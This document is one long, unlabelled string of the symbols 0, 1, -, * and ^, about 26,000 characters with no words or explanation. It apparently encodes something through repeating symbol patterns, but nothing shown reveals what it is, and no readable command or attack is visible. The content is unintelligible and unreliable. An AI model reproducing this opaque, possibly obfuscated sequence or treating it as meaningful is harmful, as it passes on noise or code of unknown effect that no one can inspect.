0011**0110-11010^^1101*****00-0110^^101*001*010^10^1010-11*1^1*1*1*-----11*0-1101101*0-**1*1^1*********10110101*001*011**110^1**00--1^1*0-11*0-*01*1*-----11*0--1011*0-**1*1^1*10101^-11*0-*01^1*1^1^-11*-----11*0-00-11*0-**1*1^1*^110101*^1*****01**0110^1**1*0101*1*1*1*^^110110-11*00101*1*1*^10-11010^^1101*****00-0011*001101*001*010^1********0-^1*001*1101*1*1*-----11*0-1*0101*-**1*1^1*11011010-11*^1**110^1**00--10^1^-11*0-*01*1*-----11*0-0^1101*-**1*1^1*^110^1^110-11*1*^^11*0-11*00101*1*1*0-*01^1*--00-11*1011**011010-01*^1*0-10-11010^^110^--0-11*1*^1*11010-11*1*1*1*1*-----11*0-1^1011*-**1*1^1*********01^101*001*011**110^1**00--10-1^-11*0-*01*1*-----11*0--00-*-**1*1^1*0--0-11*0-*01^1*01*010-11*01^-11010^^110101*^1********--11*001*0101*1*1*1*^1*****01**0011*01*001*0101*1*1*-----101*--**00-**1*1^1*********-*01*001*011*01^1^11011*1*^1^1011011**001*******1*10-10-^1**1010--0101*--0-11*-----101*-11*1*00-**1*1^1**********0^1*001*011**110^1**00--11*0010-11*0-*01*1*-----101*--011*00-**1*1^1*********00101101*001*-*01^1*^11*-11*^1*01^1*01101*00110-11010^^1101*****0010---0-**1*010^-101^-11*01101*1*1*-----101*--0101*0-**1*1^1*^1101******01^-*101**1*010^1^11*01101*1*1*1*1*00110^1**00--1*11*-11*0-*01*1*-----101*-*0-*0-**1*1^1*-^10-11*0-*01^1*-1*0-11*001*001^1**1101011**001*001*1*1010--010^-^10-11*-----101*--*01*-**1*1^1*^1101010101*-11*1*^1********11*-*00^10101*1*1*0^1*00110^1**00--10-*0-11*0-*01*1*-----101*-1*0101*-**1*1^1*-01*-11*0-*01^1*-*10-11*-----101*-0-0101*-**1*1^1*^1101*^110-11*1*^1*00^-11*0^1*1*1*1011*01^1*1*1011011****001***1011*0101*0011*011*****1***0101*101*11*****1*001101^1*101*101********-01^-00101101*011*0011*01*1*011*****1*001101^1*101*101********-01^-*11*0-11*0101******00-101101^-011**001****001**010-*--*1****001**010-*--*1****001**00-1*--001**1010--010^-01*-11*-----101*---11*-**1*1^1*01^^-11*^1**110^1**00--1011*10-11*0-*01*1*------*-*01**-**1*1^1*01010^-11*0-*01^1*0-*0-11*00110-110101*0011010^^10-11*1*^1********1*0011*001*^1*1*1*------*-010101*00-**1*1^1*^11010-*10-11*1*^101101*1*1*1*1*0-**1101*101*******011011*0101*101********-01^-*^110-11*0101******00-101101^-011**1010--0101*1010^-11*------*-*0101*0-**1*1^1*1*^-011*-11*0^1*1*1*0011**110^1**00--11011*0-11*0-*01*1*------*-00^11*0-**1*1^1*1010-0-11*0-*01^1**10^-11*------*-1*-*0-**1*1^1*01*^-11*1010--010^1010-0-11*------*-0--*0-**1*1^1**11**1**110^1**00---^^-11*0-*01*1*------*-0-*1*-**1*1^1*10-*0-*01^1*0-1^-11*------*-0101^1*-**1*1^1*^^10-11*001*******-110-0-1^11*****1*0010^101*10^^101^110^101011**1*01*1*011*****1***0101*101*11*****1*001101^1*101*101******001*-01^-00110^1^11**1*01*1*011*****1*001101^1*101*101******001*-01^-00110^1*11**1*01*1*011*****1*001101^1*101*101******001*-01^-00110^-101**1*01*1*011*****1*001101^1*101*101******001*-01^-00110^101101**1*01*1*011*****1*001101^1*101*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001****001**010-*--*1****001**010-*--*1****001**010-*--*1****001**010-*--*1****001**010-*--*1****001**00-1*--*1*******1*10-10-^1**011*****1**101101*0101*01****001**-001*--*1****001**10-1*--001*******011011010-1*1*11010^1*0-**01*******011010-10-^1**0110--010^10-*-----^^-011*1*0-**1*1^1**110101*^^-110-11*1*1*1*1*1*^1********1^^1*00^1*1*1*1*10101*00110^1**00--110-^-11*0-*01*1*-----^^-11*11*0-**1*1^1*01011010-11*0-*01^1*00101^-11*0110--0101*-1*-----^^-1^-*0-**1*1^1*01101*-11*^1*0101101*101*******011011*0101*101********-01^-0^11*0101******00-101101^-*1*******0^10-10-^1**1010--0101*1011010-11*-----^^-*1^1*-**1*1^1*^1101*****0011010-00^-*00^1^^1*****01***0-1**^-01*1*1*10101*00110^1**00---001^-11*0-*01*1*-----^^-10101101*-**1*1^1*1*^^101010-11*00101*1*1*0-*01^1*01^^-11*0^--0101*********1101101*00^-----^^-001^11*-**1*1^1*0101*0-11*^1*0101101*101*******011011*0101*101********-01^-0-01*0101******00-101101^-*1*******0^10-10-^1**0^--0101********00--01*00^-----^^-0010-1*-**1*1^1*^1101*****00-0110^^11**^1^^1*****01**0--1**^-01*1*1*10101*00110^1**00--110^^-11*0-*01*1*-----110^-1*1**-**1*1^1*^1101********00101^1*00^1*^1********10^101*001*^1*1*1*0-*01^1*001^10-11*0011*01^1**11010-01*0011*01*1*0110--010^-01*-----110^-1^11*00-**1*1^1*^1101010^110-11*1*^-110^-11*0^1*1*1*-1**110^1**00---0^10-11*0-*01*1*-----110^-010^1*0-**1*1^1*1*^-101*-11*10101*1*1*0-*01^1*1*0^-11*-----110^-0101101*0-**1*1^1*********-0^1*00^-1^1010101^11****001**0-11*00101******01**0-*1*001******01**0-^1*001*01101101101101**01*******************11*1*0110110^110^101011*11*0-11*0110^1^1*01*1**1*01*1*^1*01*1**1*01*1*^10-11010^^1101*****0010101101^10-*001*010^1*****001***-**0^1^1*1*1*-----110^-*00101*-**1*1^1**^10-11*^1**110^1**00--1*00^-11*0-*01*1*-----110^-1*1101*-**1*1^1*^11010-11*0-*01^1*00101*-11*-----110^-0-1101*-**1*1^1*^1101******10-0110^-*001*010^1^-00-11*01101*1*1*001*001^1*011****001**00--*101******1**01010^1*001******1**0101*01*001*11*******0-1011*10^-10110-11*11010^-11*0101********-01^-0-01*011*******0-1011*101******01**0011011**1******01***101**01*11*******0-1011*101******1***-**001******1**0^1101**1*101******00-101101^-*1*001*1*0101********-01^-0011*001*1*0101******00-101101^-*1*001*1*1010--010^^11010-11*-----101^--001*00-**1*1^1**********10101*001*011**110^1**00---001*-11*0-*01*1*-----101^-110-*00-**1*1^1*********-01011*001*-*01^1*00-^-11*-----101^-110^1*0-**1*1^1*1*^1********01010101*001*0101*1*1*0^--0101********00-01011*00^-----101^-1*011*0-**1*1^1*01011**1**110^1**00---0-00-11*0-*01*1*-----101^-1*-*0-**1*1^1*-01^-11*0-*01^1**^10-11*1010--0101*0^110-11*-----101^-01*001*-**1*1^1*1^1^-11*^1*0101101*11********1**010^^11*-11**^10-11*0101********-01^-*^110-11*0101******00-101101^-011**1010--010^-01^-11*-----101^--00101*-**1*1^1*10^110-11*^1**110^1**00---1*10-11*0-*01*1*-----101^-*-01*-**1*1^1*^1101********01^1101*00^1*^1*****01**0101011**0^10101*1*1*0-*01^1**-00-11*-----101^-1*1011*-**1*1^1*0^-0-11*001*******-110-0-110110101******010-01*101******11**1*1101*001******11**1*-1*00^^101^110^101011**1*01*1*011****011**001*1*0101******01**0010101**1******01**001011**01*11*******0-1011*101******1**0010-01*001******1**00--1*001*101******001*-01^-00110^1^11**1*01*1*011*******0-1011*101******1**00101*1*001******1**00-0011*001*101******001*-01^-00110^1*11**1*01*1*011*******0-1011*101******11**11*-*001******11**-00101*001*101******001*-01^-00110^-101**1*01*1*011*******0-1011*101******1***011011*001******1***-001*001*101******001*-01^-00110^101101**1*01*1*011*******0-1011*101******11**0110^1*001******11**0^1011*001*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011****01**0^-11*101******11**^10101*001******11**0101*1*001*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**1010--0101*0110^-11*------^-01^101*-**1*1^1**110101*^1*10^-11*00101*1*1*1*^1*********0^1*001*0101*1*1*10101*00110^1**00---101^-11*0-*01*1*------^-11*011*-**1*1^1*11*110-11*0-*01^1*1*0010-11*01010^1010--010^11*110-11*------^-10101011*-**1*1^1**110101*^1*****01**010-101*001*0101*1*1*1*^1*****01**011*11**1*0101*1*1**11*00110^1**00--1**10-11*0-*01*1*------^-1010-1*-**1*1^1**11010-11*0-*01^1*01011*-11*101*001^1**11010-01*011*001*1*1010--0101*0011010-11*-----1*10-0011**0-**1*1^1*^110101*^^-*-11*0^1*1*1*1*^^-*-11*0^1*1*1*0^1*00110^1**00--1^11*-11*0-*01*1*-----1*10-01^1*00-**1*1^1*1*-0-11*0-*01^1*00110^-11*00110-11010^^1101*******^-10-**1*010^1*-00-11*1^1*1*1*-----1*10-**1*0-**1*1^1*^110^110-0-11*1*^1********1^1101*001*^1*1*1*0^1*101101*11********1**0101******01**-01101*001******01**01^-*001*101********-01^-0^11*0101******00-101101^-*1*******0^10-10-^1**1010--010^1*-0-11*-----1*10-*-1*0-**1*1^1*110-10-11*^1**110^1**00---010^-11*0-*01*1*-----1*10-^1*1*-**1*1^1**00^-11*0-*01^1*0-1*-----1*10-1010^1*-**1*1^1*********10110101*001*0110-11010^^1101******^^-*11**1*010^--110-11*01101*1*1*-----1*10-0-0101*-**1*1^1*1^1010-11*^1**110^1**00--110-*0-*01*1*-----1*10-0-1101*-**1*1^1*^1101*****00--*1*001*001*010^^101010-11*01101*1*1*0-*01^1*^^10-11*-----1*10-00101011*-**1*1^1*********11011011*001*11****001***0-*0101*11****001**00--*101******1**0^^1**1******1**0^1101**1*11****001**-00-*101******1**0110-11*001******1**0^1*1*001*101********-01^-*1*******1^10-10-^1**011*******0-1011*101******1***001**001******1**01010101**1*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*1011*1011*01*1*01**01**00110-11010^^1101******01^-1*11**1*010^11*0010-11*01101*1*1*-----1^10---*00-**1*1^1*^1101*********11*1*00^1*^1********1^1101*001*^1*1*1*10101*00110^1**00--1*^10-11*0-*01*1*-----1^10-00-01*0-**1*1^1*********-^11*001*-*01^1**11*-10-110101*00110^-0010-11*1*^101101010-11*10101*1*1*-----1^10-1010-*0-**1*1^1*0-1010-11*^1*01^1^1011*0-11*1*^1^1011011**001*******1*10-10-^1**^10-11010^^1101******^-1011*1**^1^^1********001*01*00^-01*1*1*-----1^10-1101^1*-**1*1^1*1*^1101^10-11*10101*1*1*0011**110^1**00---101*0-*01*1*-----1^10-0-0101*-**1*1^1*^-10-11*0-*01^1*101*10-11*0011*01^1*01101*01010-110101*00110101*^1^11*1*1*1*1*1*^1********101*11*00^1*1*1*1*-----1^10-101^11*-**1*1^1*********01*001*001*011**110^1**00--^1*10-11*0-*01*1*-----1^10-1*0-*-**1*1^1*01*110-11*0-*01^1*01010^-11*-----1^10-0-0-*-**1*1^1*^1101******-1101^101**0^1^^1*****01**00101101**^-01*1*1*001*******110110-0-110110101******010-01*101******11**1101*1*001******11**110^11*00^^101^110^101101**1*01*1*011****011**001*1*010^-0-0-11*-01*-11*011*******0-1011*101******1**00^1**001******1**00110101**1*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011*******10101**101******11**^1*1*001******11**010-01*001*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**1010--0101*1*110-11*-----101010-^1011*0-**1*1^1*********1*1101*001*011**110^1**00--1^10^-11*0-*01*1*-----101010-10-11*0-**1*1^1*********101^11*001*-*01^1*01101^-11*-----101010-1011*1*-**1*1^1*^1101******01*001*11**0^1^^110110110-11*-01*1*1*001*******0-10-0-1^11****001***1011*010^^101^110^1^11**1*01*1*011****011**001*1*0101*11*10-11*01^^-11*011*******0-1011*101******01**1101*1*001******01**-^11*001*101******001*-01^-00110^1*11**1*01*1*011*******0-1011*101********001*-1*001********0010101101*001*101******001*-01^-00110^-101**1*01*1*011*******0-1011*101******1***1^1**1******1***01***1*101******001*-01^-00110^101101**1*01*1*011*******0-1011*101******1**0-*11*001******1**011*001*001*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*01**01*******011011010-1*1*11010^1*0-**01*******011010-10-^1**0^--0101********00101^11*00^------010-0^11*00-**1*1^1*^1101********011011011*00^1*^1*****01**001*01**1*0101*1*1*10101*00110^1**00--110101^-11*0-*01*1*------010--^1*0-**1*1^1*^1101******110^11011011**1*010^101010110-11*1^1*1*1*0-*01^1*00^^-11*^1*01^1**11010-01*^1*01*1*0^--0101********001*0011*00^------010-0^-*0-**1*1^1*1*^1^10^-11*00101*1*1*0011**110^1**00---*^-11*0-*01*1*------010-011*01*-**1*1^1*********10^101*001*-*01^1*0^1^-11*------010-0110^1*-**1*1^1*1*1010-11*001*******00-0-0-110110101******010-01*101******11**110^1**1******11**1101***^^101^110^-101**1*01*1*011****011**001*1*0101*0-010-11*00-^-11*011*******0-1011*101******11**0101*1*001******11**0-0011*001*101******001*-01^-00110^101101**1*01*1*011*******0-1011*101******01**-0011**1******01**11*1**01*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011*******10101**101******01***1101**1******01**1101011**1*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**0^--0101********0010^101*00^-----^110-*001*00-**1*1^1*^1101*****00^1010110-101*001*010^^10-0-11*01101*1*1*0^1*00110^1**00--11*1^-11*0-*01*1*-----^110-010-*00-**1*1^1**********00101*001*-*01^1*11*010-11*-----^110-010^1*0-**1*1^1***********01*001*101*01^1*011*******01010-*101*********1*-*001*********10-11*001*11*******0-1011*101******1**0-0-**1******1**00^11**01*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*0011*011****011**001*1*0101******01**-1***1******01**-1011**1*11*******0-1011*101******01****1**1******01**001***01*101********-01^-0^11*0101******00-101101^-011**01**^10-110101*001101*********11*1*00^1*^1********0^1011*001*^1*1*1*-----^110-01*011*-**1*1^1*********011*01*001*011**110^1**00--101*010-11*0-*01*1*-----^110-01101011*-**1*1^1*********11010101*001*-*01^1*01101*-11*011*001^1*101*001*1*0^--0101********0011010101*00^-----^110-1*-1*-**1*1^1*^110101*^-*010-11*00101*1*1*1*^1*****01***010-*001*0101*1*1*10101*00110^1**00--110101*-11*0-*01*1*-----110110-0-**0-**1*1^1*10^^-11*0-*01^1*11010^-11*-----110110-11011**-**1*1^1*01*^-11*00110-11010^^1101********00^1011*00^1*^1*01*-11*0^1*1*1*-----110110-1*11*00-**1*1^1*1*^-^^-11*1*1*1*1*0011**110^1**00--101010^-11*0-*01*1*-----110110-101*1*0-**1*1^1*^1101*****001*1010^10-*001*010^1*****01**001101101*00^1^1*1*1*0-*01^1*0-0010-11*-----110110-0-101*0-**1*1^1*001^10-11*011****001***0-*0101*11****001**00--*101******11**00101011*001******11**001*11*001*11****001**-00-*101******1***0-1**1******1**00101***1*101********-01^-*1*******1^10-10-^1**011*******0-1011*10^--00-11*010-10-11*0101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*1011*011****011**001*1*0101******1**0-10101*001******1**0-^11*001*11*******0-1011*10^10^^-11*1*0110-11*0101********-01^-00-1*0101******00-101101^-011**01**01**0^--0101********001^^1*00^-----110110-00-011*-**1*1^1*********^^11*001*011**110^1**00--1101^10-11*0-*01*1*-----110110-*0-1*-**1*1^1*00-*0-*01^1*010^10-11*-----110110-00--*-**1*1^1*1*^1*********-01*00^10101*1*1*0110--0101*0-*-----10-0-0-**0-**1*1^1*01*010-11*^1**110^1**00--1^^10-11*0-*01*1*-----10-0--11**-**1*1^1*********01010101*001*-*01^1*00-*-11*-1^1011****001**^1011*0101*11*001*1*101*001*1*01**^1*01*1**1*01*1**0--0101*001101*-*1*^1^^10-11*0^1*1*1*-----10-0--*1*0-**1*1^1*********-01101*001*011**110^1**00---011*-11*0-*01*1*-----10-0-1101101*0-**1*1^1**1101011*110-11*1*^1*****01***-**00^10101*1*1*0-*01^1*00-*1101*0^101^-*^1*******011010-10-^1**0^--0101*********-0101*00^-----10-0-**01*-**1*1^1*^1*0-11*^1**110^1**00---011*0-*01*1*-----10-0-*0^1*-**1*1^1**01*-11*0-*01^1*-10^-11*-----10-0-10-001*-**1*1^1**********1^1*001*01*******00-0-0-110110101******010-01*101******11**0^101**1******11**0^1**00^^101^110^-101**1*01*1*011****011**001*1*0101******1****011*001******1****101*001*11*******0-1011*101******01**011*01*001******01**01*011*001*101******001*-01^-00110^101101**1*01*1*011*******0-1011*101*0101^-11**0-0-11*0101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011****01**0^-11*101******11****1**1******11**11*11**1*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**0^--010^1*^1*10^-11*0^1*1*1*------110-010101*00-**1*1^1**1101*1^10-11*1*^1********11010101*001*0101*1*1*0^1*00110^1**00--10-0^-11*0-*01*1*------110-001*1*0-**1*1^1**1101*********11*1*00^1*^^-*0^1*1*1*0-*01^1*10101^-11*------110-^1101*0-**1*1^1*^1101******1010-**1**1*010^10--0-11*01101*1*1*001*******00-0-0-110110101******010-01*101******11**0110101**1******11**01101**00^^101^110^-101**1*01*1*011****011**001*1*0101******01**-11**001******01**--1**1*11*******0-1011*101******1***1^11*001******1***01*1*001*101******001*-01^-00110^101101**1*01*1*011*******0-1011*101******1**0-00-*001******1**011*101*001*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011****01**0^-11*101*********110^1*001*********^1101*001*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**0^--0101********00-00101*00^------110-0^-1*-**1*1^1*********0^^1*001*011**110^1**00--^101^-11*0-*01*1*-----1*0-1011**00-**1*1^1*1*^--^-11*00101*1*1*0-*01^1*1*1*-11*01^1*11****001**^1011*010^101*001*1*^1011*1*001*1*01**00110-11010^^1101******11010^^-1*00^1^^110-110-11*-01*1*1*-----1*0--1101*00-**1*1^1**1101*00-0-11*1*^^-010-11*00101*1*1*-1**110^1**00--1*01*-11*0-*01*1*-----1*0-1011*1*0-**1*1^1*^1101******010-01**1*00^1^^1*****01**01*101**^-01*1*1*0-*01^1*1011*0-11*-----1*0---01*0-**1*1^1*00^^-11*001*001^1*011****001***1011*0101*0011*011****011**001*1*0101******01**11011**001******01**110-1**1*11*******0-1011*101*0^^-11**00110-11*0101********-01^-00101101*011*^1*0011*******0-1011*101******1**00-0011*001******1**00101*1*001*101********-01^-00-1*0101******00-101101^-011**01**0^--0101*********^1011*00^-----1*0--001101*-**1*1^1*^1101******0-0101011*1*001*010^1********0^1011*00^1^1*1*1*10101*00110^1**00--^11*0-11*0-*01*1*-----1*0-1*01011*-**1*1^1*********001*01*001*-*01^1*10101*-11*101*001^1*011****001**0-011*010^^1011*1*001*1*01**-10-110101*0011010^10110-11*1*^10-1^-11*1*1*1*1*-----1*0-11010-1*-**1*1^1*110110^1011*1*^1*00^-11*0^1*1*1*0-**110^1**00--^101*-11*0-*01*1*-----11*--01**0-**1*1^1*^1101*******0010-01101*001*010^10^1010-11*01101*1*1*0-*01^1*1*1^-11*^10-11010^^1101********0^1*1*00^1*^1*****01**001***001*0101*1*1*-----11*-11*11*00-**1*1^1*1*1*-11*^1*0101101*11********1**0101******01**-1*1*001******01**0-1011*001*101********-01^-*011*0101******00-101101^-*1*******0^10-10-^1**1010--010^110-00-11*-----11*-1*0011*0-**1*1^1*10110^-11*^1**110^1**00--1*01^-11*0-*01*1*-----11*-11*-*0-**1*1^1*1^-0-11*0-*01^1***10-11*00110-11010^^1101******01^11*1*1*001*010^11*0010-11*01101*1*1*-----11*--01*1*-**1*1^1*********^-01*001*011*01*11*001*0^1*01010--010^1^-0-11*-----11*---001*-**1*1^1*********00^101*001*011**110^1**00----^-11*0-*01*1*-----11*--001101*-**1*1^1*^11*0-*01^1*^1*0-11*001*******011010-0-1^1*******0110110101011*1*11010-01*011**1**0110--010^^11*-----11*-1*01011*-**1*1^1*********011*11*001*011**110^1**00--10-1*0-*01*1*-----11*--*-*-**1*1^1*********1^1101*001*-*01^1*^10^-11*0^--010^1*^1^11*-11*00101*1*1*-----11*-1010-11*-**1*1^1*0-0^-11*^1*0101101*11********1**0101********0010110101*001*********0--*001*101********-01^-*011*0101******00-101101^-*1*******0^10-10-^1**0^--010^1*^^1^10-11*0^1*1*1*-----10^-^1101*00-**1*1^1*1*^-^^-11*10101*1*1*0011**110^1**00--1*10^-11*0-*01*1*-----10^-1**1*0-**1*1^1*-*10-11*0-*01^1*10-*-----10^-^1^1*0-**1*1^1*10110110-11*110101******110^11*101*0011010-01**110^11*00^101^-*^1*******011010-10-^1**001*******0110101^-1^1**00110-11010^^1101********00101*1*00^1*^1^11010-11*00101*1*1*-----10^-1^-1*0-**1*1^1**110101^1*-11*1*^1********1010^1*001*0101*1*1*0^1*00110^1**00--^-*0-*01*1*-----10^-10^^1*-**1*1^1*^110101*^10^1010-11*0^1*1*1*1*^10-1^-11*0^1*1*1*0-*01^1*1^1*-11*-----10^-1*10101*-**1*1^1*--00-11*001*******010110-0-1^11****001**^1011*0101*11*001*1*011****011**001*1*0101******11**10101011*001******11**10101101*001*11*******0-1011*10^11*010-11*10-*0101********-01^-0-01*011*******0-1011*101******11**0110-**1******11**0^11**01*11*******0-1011*101******1**01101101**1******1**00-1**001*101******00-101101^-*1*001*1*0101********-01^-0101*001*1*0101******00-101101^-*1*001*1*01**01*******011011010-1*1*11010^1*0-**01*******011010-10-^1**^10-110101*001101********01*1011*00^1*^1********-00-*001*0101*1*1*------00-^1101*00-**1*1^1*00101010-11*^1**110^1**00--10^1*-11*0-*01*1*------00-110-1*00-**1*1^1*********^11011*001*-*01^1*11011*-11*011*001^1*011****001**0-011*010^101*001*1*01**00110-110101*0011010110^10-11*1*^1********1*1101*00^1*1*1*1*------00-^^11*0-**1*1^1**110^1011*1*^-10-0-11*1*1*1*1*0-**110^1**00--101011*-11*0-*01*1*------00-1010-1*0-**1*1^1*11010110-11*0-*01^1*-01*-11*-*001^1*011****001**^1011*010^101*001*1*^1011*1*001*1*01**1010--010^11010110-11*------00-1*1^1*-**1*1^1*1101*0-11*^1**110^1**00--101101*-11*0-*01*1*------00-1^10101*-**1*1^1*********-10101*001*-*01^1*10-^-11*00110-11010^^1101******00101^1*001*001*010^110101*-11*01101*1*1*------00-1011*11*-**1*1^1*01^110-11*^1*0101101*11********1**0101******1**0^^11*001******1***01^1*001*101********-01^-0^11*0101******00-101101^-*1*******0^10-10-^1***0--0101*0011010110-00-11*1*^1^11*00101*1*1*------00-1010-11*-**1*1^1*1*^1********0^^1*00^10101*1*1*-1**110^1**00--^-^-11*0-*01*1*-----^10-11*1**-**1*1^1*********1*0101*001*-*01^1*01*^-11*-----^10-11*01*00-**1*1^1*0-1*-11*0^--0101********001*0101*00^-----^10-11*11*00-**1*1^1*^1101*****00^1*^11*1*00^1^^--010-11*-01*1*1*0^1*00110^1**00--11*0^-11*0-*01*1*-----^10--0^1*0-**1*1^1*10-*-11*0-*01^1*110^10-11*-----^10-1*1101*0-**1*1^1*11011*011****001***0-*0101*11****001**00--*101******11**01101011*001******11**011*11*001*11****001**-00-*101******11**0-101**1******11**001101**01*101********-01^-*1*******1^10-10-^1**011*******0-1011*101******11**011***01******11**11*01**1*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*1011*^1011*0110^-01101011*01*1*11**01**01**^10-11010^^1101*****0010^1*0-11**^1^^1*****01**010101**00^-01*1*1*-----^10-1011*11*-**1*1^1*00^110-11*^1**110^1**00--1010^10-11*0-*01*1*-----^10--101011*-**1*1^1*101*10-11*0-*01^1*10^^-11**0--0101*101101*011*1*^--*-11*00101*1*1*-----^10-110110-*-**1*1^1*^1101******1*00^-11**1*010^1*********10101*00^1^1*1*1*10101*1*11*1011*^1*01*1*1010--010^101*10-11*-----11010--01**0-**1*1^1*^11010-01010-11*1*^1********1^1101*001*^1*1*1*0^1*00110^1**00--^^^-11*0-*01*1*-----11010-110^1*00-**1*1^1**110^1^110-11*1*^1*****01***1011**0^10101*1*1*0-*01^1*-00^-11*-----11010--0-*00-**1*1^1*0-0110-11*001*******110110-0-110110101******010-01*101******01**-0-**1******01**-011**0^^101^110^101101**1*01*1*011****011**001*1*0101******01***0-**1******01***01**001*11*******0-1011*101******1***--*001******1***0-01*001*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011****01**0^-11*10^11*110-11***10-11*01*******011011010-1*1*11010^1*0-**01*******011010-10-^1**1010--010^--10-11*-----11010-101010101*-**1*1^1*********01*101*001*011**110^1**00--101^^-11*0-*01*1*-----11010-10-1101*-**1*1^1**110^1101*-11*1*^1********01*101*001*^1*1*1*0-*01^1*001*10-11*1101*01^1*0101*01*1*0^--0101*********00-01*00^-----11010---011*-**1*1^1**11*-11*^1**110^1**00---*010-11*0-*01*1*-----11010-1*0-1*-**1*1^1*********0-^1*001*-*01^1*0011*0-11*-----10110-1***00-**1*1^1*********00^101*001*^--0101*********-^1*00^-----10110--001**-**1*1^1*^10^-11*^1**110^1**00---01*0-11*0-*01*1*-----10110-^^1*00-**1*1^1*1*0110-11*0-*01^1*^-00-11*-----10110-11*11*00-**1*1^1*********01^101*00^1010--010^1*0110-11*-----10110-11*001*0-**1*1^1*00101^-11*^1**110^1**00--1*-00-11*0-*01*1*-----10110-10^101*0-**1*1^1*0^1*-11*0-*01^1**11*-11**1*01^1*1*******00--001011*-011*^10-11010^^1101******010110101*001*001*010^1********11*-*00^1^1*1*1*-----10110--10-*0-**1*1^1*1*^1********001*11*001*0101*1*1*-1**110^1**00---101*-11*0-*01*1*-----10110-10-*1*-**1*1^1*********1**1*001*-*01^1*11011*0^--0101*********11*11*00^-----10110-^^101*-**1*1^1*00110110-11*^1**1101*01*******011010-10-^1**00110-11010^^1101******-*-10^1*001*010^1101^10-11*01101*1*1*-----10110-101*011*-**1*1^1*^10110-11*^1**110^1**00--101011*0-*01*1*-----10110-10^1011*-**1*1^1*^110^^1^-11*1*^-011*-11*00101*1*1*0-*01^1**01*-11*101*001^1*011****001**0-011*010^^1011*1*001*1*01**1010--0101*0-110-11*-----10110-^10-1*-**1*1^1**********01011*001*011**110^1**00---11*0-11*0-*01*1*------10-1*1**0-**1*1^1**1101********00^^1*00^1*^101011*1*1*1*1*0-*01^1*-01^-11*00110-110101*0011010^10^-11*1*^1********10101101*00^1*1*1*1*------10-1010101*00-**1*1^1**********01101*001*011*0101101*11********1**0101******11***11011*001******11**^1*1*001*101********-01^-0-01*0101******00-101101^-*1*******0^10-10-^1**^10-110101*001101********01011*1*00^1*^1********001*11*00^1*1*1*1*------10-1*1011*0-**1*1^1*^1101********001*011*00^1*^1*0-0-11*0^1*1*1*0^1*00110^1**00--101101^-11*0-*01*1*------10-101*001*-**1*1^1*^1101*****00^11010^10-*001*010^1********0101^1*00^1^1*1*1*0-*01^1*11*^-11*------10--01^1*-**1*1^1*00-^-11*-1^10-01101*^1^101^110^1^1*01*1**1*01*1*001*******001010-10-^1**^1*01*1**1*01*1*0^--0101*********-1101*00^------10-10-1101*-**1*1^1**-00-11*^1**110^1**00--101*^-11*0-*01*1*------10--1^11*-**1*1^1*^110101*^1********110-01*001*^1*1*1*1*^11*1*-11*0^1*1*1*0-*01^1*011*10-11*------10-1*10-*-**1*1^1*1*^1********-00101*001*^1*1*1*0^--0101*********110^1*00^------10-10--1*-**1*1^1*0-0010-11*^1**110^1**00--1101*10-11*0-*01*1*-----1*---**0-**1*1^1*********110-01*001*-*01^1**01^-11*-----1*---1**-**1*1^1*0-1*0^--0101********00110-01*00^-----1*-110-01*00-**1*1^1***********11*001*011**110^1**00---110^-11*0-*01*1*-----1*-1101*01*0-**1*1^1*1*^1*****01**01101***^10101*1*1*0-*01^1**00^-11*-----1*--010101*0-**1*1^1*0-1*-11*00110-11010^^1101*****00-11*10101101*001*010^101011*-11*01101*1*1*-----1*--101011*0-**1*1^1*^1101******101*110-011*001*010^1********10^101*00^1^1*1*1*10101*00110^1**00----*-11*0-*01*1*-----1*-11*1*1*-**1*1^1*^1101*****00^1*011010-*001*010^1*****001**10-**00^1^1*1*1*0-*01^1*10110^-11*-----1*--*0101*-**1*1^1*01010110-11*001*******110110-0-110110101******010-01*101******01**11*011*001******01**11*001*00^^101^110^101101**1*01*1*011****011**001*1*0101******11**101***01******11**10^11**1*11*******0-1011*101******11**^101**01******11**1011011**1*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011****01**0^-11*101******11**1101011**1******11**-^1**1*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**0^--0101*********1011011*00^-----1^--0011**-**1*1^1*1*^-01*0-11*0^1*1*1*0011**110^1**00--^110^-11*0-*01*1*-----1^--01101*00-**1*1^1*********01*011*001*-*01^1*110-00-11*-----1^--0-1*00-**1*1^1*^1101*101^-11*1*^1********^^11*00^1*1*1*1*001*******-110-0-110110101******010-01*101******01**0011011**1******01**001101**0^^101^110^101011**1*01*1*011****011**001*1*0101******01**1010-1*001******01**1010^1*001*11*******0-1011*101******1**0-0-1*001******1**01^1101*001*101******001*-01^-00110^1^11**1*01*1*011*******0-1011*101******01**01*101*001******01**01^-*001*101******001*-01^-00110^1*11**1*01*1*011*******0-1011*101******11**11***001******11**-*1**1*101******001*-01^-00110^-101**1*01*1*011*******0-1011*101******11***10101*001******11**00110-*001*101******001*-01^-00110^101101**1*01*1*011*******0-1011*101******1**00--1*001******1**0010-01*001*101******001*-01^-0-*001*1*0101******00-101101^-*1*001*1*001*******1*10-10-^1**011*******10101**101******1**01*1101*001******1**001*001*001*1*******011011010-1*1*11010^1*0-**01*******011010-10-^1**-10-11010^1*^1********--11*001*0101*1*1*-----1010--*01*00-**1*1^1*^1101******101^10^-**1*010^1********^1^1*001*1101*1*1*10101*00110^1**00--1010-00-11*0-*01*1*-----1010-110-11*00-**1*1^1*1*^1^10^-11*0^1*1*1*0-*01^1*-11*-11*-----1010-110-001*0-**1*1^1*00101*-11*-1^1010101^11****001**0-11*